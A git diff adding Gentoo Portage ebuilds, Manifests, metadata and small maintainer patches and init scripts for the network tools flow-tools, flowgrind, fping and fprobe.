diff --git a/net-analyzer/flow-tools/flow-tools-0.68.5.1-r2.ebuild b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r2.ebuild
new file mode 100644
index 000000000000..4a69fabddc23
--- /dev/null
+++ b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r2.ebuild
@@ -0,0 +1,78 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+inherit eutils user
+
+DESCRIPTION="library and programs to collect, send, process, and generate reports from NetFlow data"
+HOMEPAGE="http://code.google.com/p/flow-tools/"
+SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.bz2"
+
+LICENSE="BSD GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE="debug mysql postgres ssl static-libs"
+
+RDEPEND="sys-apps/tcp-wrappers
+ sys-libs/zlib
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql )
+ ssl? ( dev-libs/openssl )"
+
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison"
+
+DOCS=( ChangeLog README SECURITY TODO )
+
+pkg_setup() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
+
+src_prepare() {
+ sed -i \
+ -e 's|/var/run/|/run/|g' \
+ src/flow-capture.c \
+ src/flow-fanout.c \
+ || die
+}
+
+src_configure() {
+ local myconf="--sysconfdir=/etc/flow-tools"
+ use mysql && myconf="${myconf} --with-mysql"
+ if use postgres; then
+ myconf="${myconf} --with-postgresql=yes"
+ else
+ myconf="${myconf} --with-postgresql=no"
+ fi
+ use ssl && myconf="${myconf} --with-openssl"
+ econf ${myconf} $(use_enable static-libs static)
+}
+
+src_install() {
+ default
+
+ prune_libtool_files
+
+ exeinto /var/lib/flows/bin
+ doexe "${FILESDIR}"/linkme
+
+ keepdir /var/lib/flows/ft
+
+ newinitd "${FILESDIR}/flowcapture.initd" flowcapture
+ newconfd "${FILESDIR}/flowcapture.confd" flowcapture
+
+ fowners flows:flows /var/lib/flows
+ fowners flows:flows /var/lib/flows/bin
+ fowners flows:flows /var/lib/flows/ft
+
+ fperms 0755 /var/lib/flows
+ fperms 0755 /var/lib/flows/bin
+}
+
+pkg_preinst() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
diff --git a/net-analyzer/flow-tools/flow-tools-0.68.5.1-r4.ebuild b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r4.ebuild
new file mode 100644
index 000000000000..2304aaca962f
--- /dev/null
+++ b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r4.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user
+
+DESCRIPTION="library and programs to collect, send, process, and generate reports from NetFlow data"
+HOMEPAGE="http://code.google.com/p/flow-tools/"
+SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.bz2"
+
+LICENSE="BSD GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="debug mysql postgres ssl static-libs"
+
+RDEPEND="sys-apps/tcp-wrappers
+ sys-libs/zlib
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql )
+ ssl? ( dev-libs/openssl )"
+
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison"
+
+DOCS=( ChangeLog README SECURITY TODO )
+
+pkg_setup() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-run.patch
+ epatch "${FILESDIR}"/${P}-syslog.patch
+}
+
+src_configure() {
+ econf \
+ $(use_enable static-libs static) \
+ $(usex mysql --with-mysql '') \
+ $(usex postgres --with-postgresql=yes --with-postgresql=no) \
+ $(usex ssl --with-openssl '') \
+ --sysconfdir=/etc/flow-tools
+}
+
+src_install() {
+ default
+
+ prune_libtool_files
+
+ exeinto /var/lib/flows/bin
+ doexe "${FILESDIR}"/linkme
+
+ keepdir /var/lib/flows/ft
+
+ newinitd "${FILESDIR}/flowcapture.initd" flowcapture
+ newconfd "${FILESDIR}/flowcapture.confd" flowcapture
+
+ fowners flows:flows /var/lib/flows
+ fowners flows:flows /var/lib/flows/bin
+ fowners flows:flows /var/lib/flows/ft
+
+ fperms 0755 /var/lib/flows
+ fperms 0755 /var/lib/flows/bin
+}
+
+pkg_preinst() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
diff --git a/net-analyzer/flow-tools/flow-tools-0.68.5.1-r5.ebuild b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r5.ebuild
new file mode 100644
index 000000000000..2304aaca962f
--- /dev/null
+++ b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r5.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user
+
+DESCRIPTION="library and programs to collect, send, process, and generate reports from NetFlow data"
+HOMEPAGE="http://code.google.com/p/flow-tools/"
+SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.bz2"
+
+LICENSE="BSD GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="debug mysql postgres ssl static-libs"
+
+RDEPEND="sys-apps/tcp-wrappers
+ sys-libs/zlib
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql )
+ ssl? ( dev-libs/openssl )"
+
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison"
+
+DOCS=( ChangeLog README SECURITY TODO )
+
+pkg_setup() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-run.patch
+ epatch "${FILESDIR}"/${P}-syslog.patch
+}
+
+src_configure() {
+ econf \
+ $(use_enable static-libs static) \
+ $(usex mysql --with-mysql '') \
+ $(usex postgres --with-postgresql=yes --with-postgresql=no) \
+ $(usex ssl --with-openssl '') \
+ --sysconfdir=/etc/flow-tools
+}
+
+src_install() {
+ default
+
+ prune_libtool_files
+
+ exeinto /var/lib/flows/bin
+ doexe "${FILESDIR}"/linkme
+
+ keepdir /var/lib/flows/ft
+
+ newinitd "${FILESDIR}/flowcapture.initd" flowcapture
+ newconfd "${FILESDIR}/flowcapture.confd" flowcapture
+
+ fowners flows:flows /var/lib/flows
+ fowners flows:flows /var/lib/flows/bin
+ fowners flows:flows /var/lib/flows/ft
+
+ fperms 0755 /var/lib/flows
+ fperms 0755 /var/lib/flows/bin
+}
+
+pkg_preinst() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
diff --git a/net-analyzer/flow-tools/flow-tools-0.68.5.1-r6.ebuild b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r6.ebuild
new file mode 100644
index 000000000000..c42226b87aaf
--- /dev/null
+++ b/net-analyzer/flow-tools/flow-tools-0.68.5.1-r6.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user
+
+DESCRIPTION="library and programs to collect, send, process, and generate reports from NetFlow data"
+HOMEPAGE="http://code.google.com/p/flow-tools/"
+SRC_URI="http://${PN}.googlecode.com/files/${P}.tar.bz2"
+
+LICENSE="BSD GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="debug mysql postgres ssl static-libs"
+
+RDEPEND="sys-apps/tcp-wrappers
+ sys-libs/zlib
+ mysql? ( virtual/mysql )
+ postgres? ( dev-db/postgresql )
+ ssl? ( dev-libs/openssl )"
+
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ sys-devel/bison"
+
+DOCS=( ChangeLog README SECURITY TODO )
+
+pkg_setup() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-run.patch
+ epatch "${FILESDIR}"/${P}-syslog.patch
+}
+
+src_configure() {
+ econf \
+ $(use_enable static-libs static) \
+ $(usex mysql --with-mysql '') \
+ $(usex postgres --with-postgresql=yes --with-postgresql=no) \
+ $(usex ssl --with-openssl '') \
+ --sysconfdir=/etc/flow-tools
+}
+
+src_install() {
+ default
+
+ prune_libtool_files
+
+ exeinto /var/lib/flows/bin
+ doexe "${FILESDIR}"/linkme
+
+ keepdir /var/lib/flows/ft
+
+ newinitd "${FILESDIR}/flowcapture.initd" flowcapture
+ newconfd "${FILESDIR}/flowcapture.confd" flowcapture
+
+ fowners flows:flows /var/lib/flows
+ fowners flows:flows /var/lib/flows/bin
+ fowners flows:flows /var/lib/flows/ft
+
+ fperms 0755 /var/lib/flows
+ fperms 0755 /var/lib/flows/bin
+}
+
+pkg_preinst() {
+ enewgroup flows
+ enewuser flows -1 -1 /var/lib/flows flows
+}
diff --git a/net-analyzer/flow-tools/metadata.xml b/net-analyzer/flow-tools/metadata.xml
new file mode 100644
index 000000000000..2ba3ac52530b
--- /dev/null
+++ b/net-analyzer/flow-tools/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription lang="en">Flow-tools is library and a collection of programs used to collect,
+ send, process, and generate reports from NetFlow data. The tools can be
+ used together on a single server or distributed to multiple servers for
+ large deployments. The flow-toools library provides an API for
+ development of custom applications for NetFlow export versions 1,5,6 and
+ the 14 currently defined version 8 subversions. A Perl and Python
+ interface have been contributed and are included in the distribution.</longdescription>
+ <upstream>
+ <remote-id type="google-code">flow-tools</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/flowgrind/Manifest b/net-analyzer/flowgrind/Manifest
new file mode 100644
index 000000000000..a203f00fcce0
--- /dev/null
+++ b/net-analyzer/flowgrind/Manifest
@@ -0,0 +1 @@
+DIST flowgrind-0.7.1.tar.bz2 224678 SHA256 8356eab1e5acb7c72fad4a92fc0f7d28b20ff014ece4bae2f18e9aac19bdf003 SHA512 fe1bc82d8b1b5bbe37989c0d8f24ba87bca73522983b855e249a3fa5e5fc96d9a63190aa94627db2b1bfea63304e453b4bc1c5fd18260fad9bda38313ad912b8 WHIRLPOOL 691a3125a209b86f33443978f5dce50b39a12425b18116491e56428c60db1ca6ae2f552f005953274895fbe95a42ca66630f93026a0a36d2662bcc2d185ceb39
diff --git a/net-analyzer/flowgrind/flowgrind-0.7.1.ebuild b/net-analyzer/flowgrind/flowgrind-0.7.1.ebuild
new file mode 100644
index 000000000000..0cb63cf8ca64
--- /dev/null
+++ b/net-analyzer/flowgrind/flowgrind-0.7.1.ebuild
@@ -0,0 +1,26 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="Network performance measurement tool"
+HOMEPAGE="http://flowgrind.net/ https://github.com/flowgrind/flowgrind/"
+SRC_URI="https://github.com/${PN}/${PN}/releases/download/${P}/${P}.tar.bz2"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="debug gsl pcap"
+
+RDEPEND="dev-libs/xmlrpc-c[abyss,curl]
+ gsl? ( sci-libs/gsl )
+ pcap? ( net-libs/libpcap )"
+DEPEND="${RDEPEND}"
+
+src_configure() {
+ econf \
+ $(use_enable debug) \
+ $(use_enable gsl) \
+ $(use_enable pcap)
+}
diff --git a/net-analyzer/flowgrind/metadata.xml b/net-analyzer/flowgrind/metadata.xml
new file mode 100644
index 000000000000..a26ecbdd77ec
--- /dev/null
+++ b/net-analyzer/flowgrind/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name="pcap">Enable packet capturing support using <pkg>net-libs/libpcap</pkg></flag>
+ </use>
+ <upstream>
+ <remote-id type="github">flowgrind/flowgrind</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/fping/Manifest b/net-analyzer/fping/Manifest
new file mode 100644
index 000000000000..9581f8308336
--- /dev/null
+++ b/net-analyzer/fping/Manifest
@@ -0,0 +1,3 @@
+DIST fping-3.10.tar.gz 157010 SHA256 cd47e842f32fe6aa72369d8a0e3545f7c137bb019e66f47379dc70febad357d8 SHA512 64bf93c7dbfa2b8adc3344514b2e6e182f1e5950da08b042b8d4d5e4c94b2b8bdc3aaba804339d0461dd88e0efbdfc0bd914a10d22810da8138c9c45335f7047 WHIRLPOOL fe0610464e2771fe3937d64b5cf687e5c2cd3e2dd292bc0ccdf0ee936113f3b418d8f70dfb9b3f188155d98406cbdf6a0b7332e4daf893596d22b2ed89093c04
+DIST fping_2.4b2-to-ipv6-16.1.diff.gz 8488 SHA256 de0021aba41ba6b1b98d34fb98f99bfd55455d332ed6aece83690e2d93159e6e SHA512 6af25324d159df4ddd7dd909e2e1a0d85e08c2f51c31469960c2dbc7a9eb4967fd114eb87361f8c6b1691de60e7f753d371e6c902bec706f3fed3d205fbe49f0 WHIRLPOOL 5bb9fdf9fba3769985d34d2e06b2e28540e997a00eb84d7b5a6d71e4cfe4f7a3b50933981df291df5141b8f43729375c95ceb9009cafbcf234c1f50cb89cf232
+DIST fping_2.4b2-to-ipv6.orig.tar.gz 63333 SHA256 77e1a90af4fff4a5ffc4b70542c6ff44130558357e7d549f99a9eff23108d172 SHA512 3d1a76680d3a7cd361481d6e6de49797fbaf01422a73c784c8b667131afd56de2bfbbeb17014047cd2dea903f87d9f19e38ed7b0a5c2e8f2faf82759bf064ff9 WHIRLPOOL a1b0ce998004aea349a04a67a1430b2331292f1c4cb03fdee4d1b579e36c93c9852ed676f450fecdeb22690b2aee18b0319b0c193d794684d195cb73fa62697b
diff --git a/net-analyzer/fping/files/fping-2.4_beta2_p161-err.h.patch b/net-analyzer/fping/files/fping-2.4_beta2_p161-err.h.patch
new file mode 100644
index 000000000000..38946ac38524
--- /dev/null
+++ b/net-analyzer/fping/files/fping-2.4_beta2_p161-err.h.patch
@@ -0,0 +1,10 @@
+--- a/fping.c
++++ b/fping.c
+@@ -106,6 +106,7 @@
+
+ #include <arpa/inet.h>
+ #include <netdb.h>
++#include <err.h> /* err() warnx() */
+
+ /* RS6000 has sys/select.h */
+ #ifdef HAVE_SYS_SELECT_H
diff --git a/net-analyzer/fping/files/fping-2.4_beta2_p161-min-time.patch b/net-analyzer/fping/files/fping-2.4_beta2_p161-min-time.patch
new file mode 100644
index 000000000000..a101fd4ae0e1
--- /dev/null
+++ b/net-analyzer/fping/files/fping-2.4_beta2_p161-min-time.patch
@@ -0,0 +1,47 @@
+--- a/fping.c
++++ b/fping.c
+@@ -25,6 +25,7 @@
+ * Original author: Roland Schemers <schemers@stanford.edu>
+ * IPv6 Support: Jeroen Massar <jeroen@unfix.org / jeroen@ipng.nl>
+ * Bugfixes, byte order & senseful seq.-numbers: Stephan Fuhrmann (stephan.fuhrmann AT 1und1.de)
++ * Fixes: min_reply_i in splits and compiler warning. Alex Ghoth (alex AT ghoth.net)
+ *
+ *
+ * RCS header information no longer used. It has been moved to the
+@@ -743,7 +744,7 @@
+
+ if( ( ping_data_size > MAX_PING_DATA ) || ( ping_data_size < MIN_PING_DATA ) )
+ {
+- fprintf( stderr, "%s: data size %u not valid, must be between %u and %u\n",
++ fprintf( stderr, "%s: data size %u not valid, must be between %lu and %u\n",
+ prog, ping_data_size, MIN_PING_DATA, MAX_PING_DATA );
+ usage();
+
+@@ -1112,7 +1113,7 @@
+ ht = timeval_diff( &current_time, &cursor->last_send_time );
+
+ if( report_interval && ( loop_flag || count_flag ) &&
+- ( timeval_diff ( &current_time, &last_report_time ) > report_interval ) )
++ ( timeval_diff ( &current_time, &last_report_time ) >= report_interval ) )
+ {
+ print_per_system_splits();
+ gettimeofday( &current_time, &tz );
+@@ -1487,8 +1488,8 @@
+ }/* IF */
+
+ fprintf( stderr, "\n" );
+- h->num_sent_i = h->num_recv_i = h->max_reply_i =
+- h->min_reply_i = h->total_time_i = 0;
++ h->num_sent_i = h->num_recv_i = h->max_reply_i = h->total_time_i = 0;
++ h->min_reply_i = 10000000;
+
+ }/* FOR */
+
+@@ -2377,6 +2378,7 @@
+ p->timeout = timeout;
+ p->running = 1;
+ p->min_reply = 10000000;
++ p->min_reply_i = 10000000;
+
+ if( strlen( p->host ) > max_hostname_len )
+ max_hostname_len = strlen( p->host );
diff --git a/net-analyzer/fping/fping-2.4_beta2_p161-r2.ebuild b/net-analyzer/fping/fping-2.4_beta2_p161-r2.ebuild
new file mode 100644
index 000000000000..0110b41d650b
--- /dev/null
+++ b/net-analyzer/fping/fping-2.4_beta2_p161-r2.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils flag-o-matic
+
+DESCRIPTION="A utility to ping multiple hosts at once"
+SRC_URI="
+ mirror://debian/pool/main/f/${PN}/${PN}_2.4b2-to-ipv6.orig.tar.gz
+ mirror://debian/pool/main/f/${PN}/${PN}_2.4b2-to-ipv6-16.1.diff.gz
+ "
+HOMEPAGE="http://fping.sourceforge.net/ http://packages.qa.debian.org/f/fping.html"
+
+SLOT="0"
+LICENSE="fping"
+KEYWORDS="alpha amd64 hppa ia64 ppc ppc64 sparc x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-macos"
+IUSE="ipv6"
+
+S="${WORKDIR}/fping-2.4b2_to-ipv6"
+
+src_prepare() {
+ epatch \
+ "${WORKDIR}"/fping_2.4b2-to-ipv6-16.1.diff \
+ "${FILESDIR}"/${P}-err.h.patch \
+ "${FILESDIR}"/${P}-min-time.patch
+ eautoreconf
+
+ if use ipv6; then
+ cp -a "${S}" "${S}-6"
+ fi
+}
+
+src_configure() {
+ econf
+ if use ipv6; then
+ cd "${S}-6"
+ append-flags -DIPV6
+ econf
+ fi
+}
+
+src_compile() {
+ emake
+ if use ipv6; then
+ cd "${S}-6"
+ emake
+ fi
+}
+
+src_install () {
+ dosbin "${S}"/${PN}
+ if use ipv6; then
+ newsbin "${S}"-6/fping fping6
+ fperms 4555 /usr/sbin/fping6 #241930
+ fi
+ fperms 4555 /usr/sbin/fping #241930
+ doman fping.8
+ dodoc ChangeLog README
+}
diff --git a/net-analyzer/fping/fping-3.10.ebuild b/net-analyzer/fping/fping-3.10.ebuild
new file mode 100644
index 000000000000..ed7e3fd08615
--- /dev/null
+++ b/net-analyzer/fping/fping-3.10.ebuild
@@ -0,0 +1,27 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="A utility to ping multiple hosts at once"
+HOMEPAGE="http://fping.org/"
+SRC_URI="http://fping.org/dist/${P}.tar.gz"
+
+LICENSE="fping"
+SLOT="0"
+KEYWORDS="alpha amd64 ~arm hppa ia64 ppc ppc64 sparc x86 ~x86-fbsd ~x86-freebsd ~amd64-linux ~x86-linux ~x86-macos"
+IUSE="ipv6 suid"
+
+src_configure() {
+ econf $(use_enable ipv6)
+}
+
+src_install() {
+ default
+
+ if use suid ; then
+ fperms u+s /usr/sbin/fping
+ use ipv6 && fperms u+s /usr/sbin/fping6
+ fi
+}
diff --git a/net-analyzer/fping/metadata.xml b/net-analyzer/fping/metadata.xml
new file mode 100644
index 000000000000..ead1602383fa
--- /dev/null
+++ b/net-analyzer/fping/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>A utility to ping multiple hosts at once</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/fprobe/Manifest b/net-analyzer/fprobe/Manifest
new file mode 100644
index 000000000000..d801e3fdf950
--- /dev/null
+++ b/net-analyzer/fprobe/Manifest
@@ -0,0 +1 @@
+DIST fprobe-1.1.tar.bz2 104358 SHA256 3a1cedf5e7b0d36c648aa90914fa71a158c6743ecf74a38f4850afbac57d22a0 SHA512 35fa4bedf2c615093b6637630322115e12f005bc43186b86c55c6bdc76ae5308dd31e1d05632e26e07a30fba88d76b9acc98632bee4f372edcf9df5da3e32210 WHIRLPOOL 5069edf9a62d2da3d34192ad881d41e2d6c2fb7d10c6f70ebc717bde691cd926f73236319abec66847d9114c068c9ca7e5d00633a1eb05e8ae9f570a09cfda82
diff --git a/net-analyzer/fprobe/files/conf.d-fprobe b/net-analyzer/fprobe/files/conf.d-fprobe
new file mode 100644
index 000000000000..f73ccf4c5803
--- /dev/null
+++ b/net-analyzer/fprobe/files/conf.d-fprobe
@@ -0,0 +1,71 @@
+# Config file for /etc/init.d/fprobe
+
+# Do we want the interface in promiscous mode [yes/no]
+#PROMISC=no
+
+# Interface
+IFACE=eth0
+
+# If configured, only capture packets matching this tcpdump expression
+#FILTER=""
+
+# Flow state timers
+#TIMER_EXPIRED=5
+#TIMER_FRAGMENTED=30
+#TIMER_IDLE=60
+#TIMER_ACTIVE=300
+
+# This is the default and should be left unless you know what you are doing
+#FLOW_VER=5
+
+# local ip. if configured fprobe will use this as the source IP for sending ALL flow data
+# If you want to specify a specific source address per collecter, customize it below
+#LOCALIP=
+
+# SNMP iface id
+SNMP_IFACE="${IFACE//eth}"
+
+# Maximum number of concurrent flows to track
+# using a specified amount of memory
+#MEMBULK=10000
+#MEMLIMIT=
+
+# Pending queue
+#PENDING=100
+
+# Kernel capture buffer size (kB)
+#KERNBUF=1024
+
+# Realtime priority [0=disabled, 1..99]
+#RTPRIO=0
+
+# Delay N nanoseconds after each B bytes
+#DELAY="0:0"
+
+# How much of the start of each packet to grab
+#SNAPLEN=256
+
+# chroot() to this location after startup
+CHROOT="/var/empty"
+
+# User to run as. must have perms to the pidfile directory /var/run/fprobe/
+USER=nobody
+
+# logging level for syslog (0=EMERG, ..., 6=INFO, 7=DEBUG)
+#LOGLEVEL=6
+
+# If you want to run multiple instances of fprobe,
+# You MUST set this variable to a unique INTEGER for each one!
+PIDFILE_ID=''
+
+# remote ip. this is where we send flows
+REMOTEIP=127.0.0.1
+# port to listen on
+PORT=2055
+# Collector type, see the manpage for valid types
+TYPE=''
+
+# If you want multiple collectors, just specify each one here
+COLLECTORS="${REMOTEIP}:${PORT}/${LOCALIP}/${TYPE}"
+
+# vim:ft=gentoo-conf-d:
diff --git a/net-analyzer/fprobe/files/fprobe-1.1-pidfile-sanity.patch b/net-analyzer/fprobe/files/fprobe-1.1-pidfile-sanity.patch
new file mode 100644
index 000000000000..c58c2a97c002
--- /dev/null
+++ b/net-analyzer/fprobe/files/fprobe-1.1-pidfile-sanity.patch
@@ -0,0 +1,47 @@
+If we are using the chroot() option or the setuid options, we must create the
+pidfile before doing the chroot OR the setreuid. It's actually best for
+start-stop-daemon if we create the pidfile from the master side of the fork()
+before it exits, since most of the startup checks happen after the chroot()
+unfortunetly.
+
+Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
+
+--- a/src/fprobe.c
++++ b/src/fprobe.c
+@@ -1379,7 +1379,8 @@
+
+ my_log_open(ident, verbosity, log_dest);
+ if (!(log_dest & 2)) {
+- switch (fork()) {
++ pid_t childpid = fork();
++ switch (childpid) {
+ case -1:
+ fprintf(stderr, "fork(): %s", strerror(errno));
+ exit(1);
+@@ -1392,6 +1393,12 @@
+ break;
+
+ default:
++ if (!(pidfile = fopen(pidfilepath, "w")))
++ my_log(LOG_ERR, "Can't create pid file. fopen(): %s", strerror(errno));
++ else {
++ fprintf(pidfile, "%ld\n", (long) childpid);
++ fclose(pidfile);
++ }
+ exit(0);
+ }
+ } else {
+@@ -1548,13 +1555,6 @@
+ }
+ }
+
+- if (!(pidfile = fopen(pidfilepath, "w")))
+- my_log(LOG_ERR, "Can't create pid file. fopen(): %s", strerror(errno));
+- else {
+- fprintf(pidfile, "%ld\n", (long) pid);
+- fclose(pidfile);
+- }
+-
+ my_log(LOG_INFO, "pid: %d", pid);
+ my_log(LOG_INFO, "interface: %s, datalink: %s (%d)",
+ dev, dlt[link_type_idx].descr, link_type);
diff --git a/net-analyzer/fprobe/files/fprobe-1.1-setgroups.patch b/net-analyzer/fprobe/files/fprobe-1.1-setgroups.patch
new file mode 100644
index 000000000000..803a2a9ce43a
--- /dev/null
+++ b/net-analyzer/fprobe/files/fprobe-1.1-setgroups.patch
@@ -0,0 +1,18 @@
+This seems to fail after the chroot(), so just squelch the exit for now.
+
+Signed-off-by: Robin H. Johnson <robbat2@gentoo.org>
+
+--- a/src/fprobe.c
++++ b/src/fprobe.c
+@@ -1541,10 +1541,10 @@
+ }
+
+ if (pw) {
+ if (setgroups(0, NULL) < 0) {
+ my_log(LOG_CRIT, "setgroups: %s", strerror(errno));
+- exit(1);
++ //exit(1);
+ }
+ if (setregid(pw->pw_gid, pw->pw_gid)) {
+ my_log(LOG_CRIT, "setregid(%u): %s", pw->pw_gid, strerror(errno));
+ exit(1);
diff --git a/net-analyzer/fprobe/files/init.d-fprobe b/net-analyzer/fprobe/files/init.d-fprobe
new file mode 100644
index 000000000000..3239b0f33dfd
--- /dev/null
+++ b/net-analyzer/fprobe/files/init.d-fprobe
@@ -0,0 +1,41 @@
+#!/sbin/runscript
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+ need net
+}
+
+BIN=/usr/sbin/fprobe
+PIDFILE_EXTRA=""
+[ -n "$PIDFILE_ID" ] && PIDFILE_EXTRA="[$PIDFILE_ID]"
+PIDFILE="/var/run/fprobe$PIDFILE_EXTRA.pid"
+
+start() {
+ ebegin "Starting fprobe"
+ local OPTS=""
+ [ "${PROMISC}" == "yes" ] || OPTS="${OPTS} -p"
+ [ -n "${FILTER}" ] && OPTS="${OPTS} -f '${FILTER}'"
+ for optname in i:IFACE s:TIMER_EXPIRED g:TIME_FRAGMENTED d:TIMER_IDLE \
+ e:TIMER_ACTIVE n:FLOW_VER a:LOCALIP x:SNMP_IFACE b:MEMBULK \
+ m:MEMLIMIT q:PENDING B:KERNBUF r:RTPRIO t:DELAY S:SNAPLEN \
+ c:CHROOT u:USER v:LOGLEVEL ; do
+ opt="${optname/:*}" optvar="${optname/*:}"
+ optvalue="${!optvar}"
+ [ -n "$optvalue" ] && OPTS="${OPTS} -${opt} ${optvalue}"
+ done
+ OPTS="${OPTS} -l 1:${PIDFILE_ID} ${COLLECTORS}"
+ start-stop-daemon --start --exec $BIN \
+ --pidfile ${PIDFILE} \
+ -- ${OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping fprobe"
+ start-stop-daemon --stop --quiet --exec $BIN \
+ --pidfile ${PIDFILE}
+ eend $?
+}
+
+# vim:ft=gentoo-init-d:
diff --git a/net-analyzer/fprobe/fprobe-1.1-r2.ebuild b/net-analyzer/fprobe/fprobe-1.1-r2.ebuild
new file mode 100644
index 000000000000..ba10e41b4a70
--- /dev/null
+++ b/net-analyzer/fprobe/fprobe-1.1-r2.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+DESCRIPTION="A libpcap-based tool to collect network traffic data and emit it as NetFlow flows"
+HOMEPAGE="http://fprobe.sourceforge.net"
+LICENSE="GPL-2"
+
+SRC_URI="mirror://sourceforge/fprobe/${P}.tar.bz2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+IUSE="debug messages"
+
+DEPEND="net-libs/libpcap"
+
+src_prepare() {
+ # The pidfile should be created by the parent process, before the
+ # setuid/chroot is executed.
+ epatch "${FILESDIR}"/fprobe-1.1-pidfile-sanity.patch
+ # This seems to fail, uncertain why.
+ epatch "${FILESDIR}"/fprobe-1.1-setgroups.patch
+}
+
+src_configure() {
+ econf \
+ $(use_enable debug) \
+ $(use_enable messages)
+}
+
+DOCS=( AUTHORS NEWS README TODO )
+
+src_install() {
+ default
+
+ docinto contrib
+ dodoc contrib/tg.sh
+
+ newinitd "${FILESDIR}"/init.d-fprobe fprobe
+ newconfd "${FILESDIR}"/conf.d-fprobe fprobe
+}
diff --git a/net-analyzer/fprobe/fprobe-1.1.ebuild b/net-analyzer/fprobe/fprobe-1.1.ebuild
new file mode 100644
index 000000000000..91525958ede1
--- /dev/null
+++ b/net-analyzer/fprobe/fprobe-1.1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+DESCRIPTION="A libpcap-based tool to collect network traffic data and emit it as NetFlow flows"
+HOMEPAGE="http://fprobe.sourceforge.net"
+LICENSE="GPL-2"
+
+SRC_URI="mirror://sourceforge/fprobe/${P}.tar.bz2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+
+IUSE="debug messages"
+
+DEPEND="net-libs/libpcap"
+
+src_compile() {
+ local myconf
+ myconf="`use_enable debug`
+ `use_enable messages`"
+
+ econf ${myconf} || die "configure failed"
+
+ emake || die "make failed"
+}
+
+src_install() {
+ make DESTDIR="${D}" install || die "install failed"
+
+ dodoc AUTHORS NEWS README TODO
+ docinto contrib ; dodoc contrib/tg.sh
+}
